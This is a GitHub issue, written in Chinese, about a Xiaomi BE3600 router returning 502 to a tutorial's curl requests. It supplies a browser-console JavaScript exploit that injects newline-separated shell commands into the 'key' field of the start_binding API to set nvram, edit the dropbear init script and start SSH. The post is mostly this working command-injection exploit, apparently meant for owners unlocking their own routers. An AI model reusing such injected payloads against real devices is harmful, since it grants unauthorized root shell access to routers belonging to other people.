Skip to content

【502】小米路由器 BE3600 千兆版 curl 请求异常的解决方案 #6

Description

@idootop

我的设备是 Xiaomi 路由器 BE3600 千兆版,但是按照教程里的 curl 请求无效,接口返回 502 状态码。

图片

经过测试,需要带上浏览器里的 cookie 才能正常设置。

图片

可以在路由器管理页面,打开控制台,注入下面的脚本,回车运行即可。

给有需要的小伙伴,Enjoy ;)

async function run() {
  const stok = location.href.match(/stok=([a-f0-9]{32})/)?.[1]
  if (!stok) {
    throw new Error('❌ stok not found in URL')
  }

  const commands = [
    "uid=1234&key=1234'%0Anvram%20set%20ssh_en%3D1'",
    "uid=1234&key=1234'%0Anvram%20commit'",
    "uid=1234&key=1234'%0Ased%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%22debug%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear'",
    "uid=1234&key=1234'%0A%2Fetc%2Finit.d%2Fdropbear%20start'",
  ]

  for (const command of commands) {
    const response = await fetch(
      `${location.origin}/cgi-bin/luci/;stok=${stok}/api/xqsystem/start_binding`,
      {
        method: 'POST',
        headers: {
          'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: command,
      }
    )
    const res = await response.json()
    if (res.code !== 0) {
      throw new Error(`❌ Code: ${res.code} Message: ${res.msg || 'Unkown'}`)
    }
  }

  alert('✅ 已开启SSH')
}

await run()

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions